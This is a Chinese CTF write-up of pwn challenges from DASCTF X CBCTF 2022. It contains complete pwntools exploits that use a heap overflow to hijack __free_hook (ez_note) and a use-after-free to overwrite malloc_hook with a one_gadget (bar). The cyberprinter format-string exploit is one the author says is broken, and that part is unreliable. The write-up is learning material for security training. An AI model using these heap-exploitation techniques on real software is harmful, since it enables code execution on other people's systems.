DASCTF X CBCTF 2022九月挑战赛(pwn方向)复现
**
ez_note
** 漏洞点:注意这里·是atol不是atoi所以输入的是64位的数据 但是检测输入size的时候是用按int类型检查,可以造成堆溢出。 找到漏洞点了就可以利用了,重点在堆利用这块。 先看看exp:
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
p = process('./pwn')
libc = ELF('/home/pwn/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def dbg():
gdb.attach(p)
pause()
def add(size,content):
sa('Your choice:',str(1))
sa('Note size:',str(size))
sa('Note content:',content)
def delete(index):
sa('Your choice:',str(2))
sa('Note ID:',str(index))
def show(index):
sa('Your choice:',str(3))
sa('Note ID:',str(index))
ru('Note content:')
add(0x80,'a')
add(0x80,'a')
add(0x200,'a')
add(0x200,'a')
add(0x80,'a')
delete(0)
payload=b'a'*0x80+p64(0)+p64(0x4b1)
add(0x200000080,payload)
delete(1)
add(0x80,'a')
show(2)
libcbase=u64(p.recv(6).ljust(8, "\x00"))-0x1ecbe0
free_hook=libcbase+libc.symbols['__free_hook']
system=libcbase+libc.symbols['system']
lg('libcbase')
add(0x200,'a')
add(0x200,'a')
delete(3)
delete(2)
delete(1)
payload=b'a'*0x80+p64(0)+p64(0x211)+p64(free_hook)+p64(0)
add(0x200000080,payload)
add(0x200,b'/bin/sh\x00')
add(0x200,p64(system))
delete(2)
irt()
add(0x80,'a')
add(0x80,'a')
add(0x200,'a')
add(0x200,'a')
add(0x80,'a')
delete(0)
payload=b'a'*0x80+p64(0)+p64(0x4b1)
add(0x200000080,payload)
这几行代码的意思是删除了chunk0后再申请0x200000080大小的chunk,因为有个整数溢出,所以0x200000080大小的堆块就是0x80大小。payload把chunk1,2,3合并成一个大小为0x4b1chunk。 然后是泄露libc地址。
delete(1)
add(0x80,'a')
show(2)
libcbase=u64(p.recv(6).ljust(8, "\x00"))-0x1ecbe0
free_hook=libcbase+libc.symbols['__free_hook']
system=libcbase+libc.symbols['system']
lg('libcbase')
add(0x200,'a')
add(0x200,'a')
delete(3)
delete(2)
delete(1)
payload=b'a'*0x80+p64(0)+p64(0x211)+p64(free_hook)+p64(0)
add(0x200000080,payload)
add(0x200,b'/bin/sh\x00')
add(0x200,p64(system))
delete(2)
最后是劫持free_hook为system,得到shell。
bar
白给libc地址(为什么打比赛的时候没看这题doge) 有uaf。
from pwn import *
def dbg():
gdb.attach(r)
pause()
def cho(num):
r.sendlineafter("Your choice:",str(num))
def add(idx,con):
cho(1)
r.sendlineafter("Whisky , brandy or Vodka?",str(idx))
r.sendafter("You may want to tell sth to the waiter:",con)
def free(idx,size=0x100):
cho(2)
r.sendlineafter("Which?",str(idx))
r.sendlineafter("How much?",str(size))
def exp():
global r
global libc
global elf
r=process('./bar')
libc=ELF('./libc-2.31.so')
cho(3)
r.recvuntil("icecream!\n")
libcbase=int(r.recvuntil('\n',drop=True),16)-libc.sym['_IO_2_1_stdout_']
log.success("libcbase:"+hex(libcbase))
one=[0xe6aee,0xe6af1,0xe6af4]
onegadget=libcbase+one[1]
for i in range(0,10):
add(0,'nameless')
for i in range(0,9):
free(i)
add(0,'nameless')
free(8,0)
add(1,'nameless')
add(1,'nameless')
add(2,'nameless')
free(8,0x80)
add(0,'nameless')
add(0,p64(onegadget))
r.interactive()
if __name__ == '__main__':
exp()
for i in range(0,10):
add(0,'nameless')
for i in range(0,9):
free(i)
先申请10个chunk,再释放前9个。 7个在tcache bins里面,还有2个在unsorted bin里面。
add(0,'nameless')
free(8,0)
add(1,'nameless')
add(1,'nameless')
add(2,'nameless')
free(8,0x80)
再在tcache bin里面申请一个chunk,再释放index=8的那个,此时已经利用了uaf,unsoted bin里面和tcache bin里面都有这个chunk。
add(0,'nameless')
add(0,p64(onegadget))
最后再将malloc_hook那填one_gadget得到shell。
appetizer
这题我也不大会,但说一下思路吧: 将rop链布置到end中,泄露出libc地址,通过最后一个read进行栈迁移 在第一个链中输出完之后再执行一个read向end写入第二个rop链 第二个rop链就是常规的orw了。 参考链接Mauricio_Davis师傅的blog (对这种题头都大了doge)
cyberprinter
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
p = process('./cyberprinter')
elf=ELF('./cyberprinter')
libc = ELF('./libc-2.31.so')
rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def dbg():
gdb.attach(p)
pause()
got_printf=elf.got['printf']
lg('got_printf')
sla('Your name?pls..\n',b'a'* 0x18)
ru('aaaaaaaaaaaaaaaaaaaaaaaa')
stdout_addr=u64(p.recv(6).ljust(8, "\x00"))
libcbase=stdout_addr-libc.symbols['_IO_2_1_stdout_']
one_gadget=libcbase+0xe6af1
got_addr=libcbase+0x1EB0A8
lg('stdout_addr')
payload=fmtstr_payload(8,{got_addr:one_gadget})
print payload
sla("But there is sth wrong in it,so you can't do sth\n",payload)
irt()
代码没通,只是个错误示范,欢迎各位师傅来鞭尸。 讲讲思路吧:第一个printf泄露libc地址,第2个printf改puts里面那个玩意为ogg得到shell。
cgrasstring
这题真心不想复现了,就前2个堆题搞懂了,后面的搞不明白(呜呜呜,我太菜了) 参考链接:官方wp
我好菜,呜呜呜。
|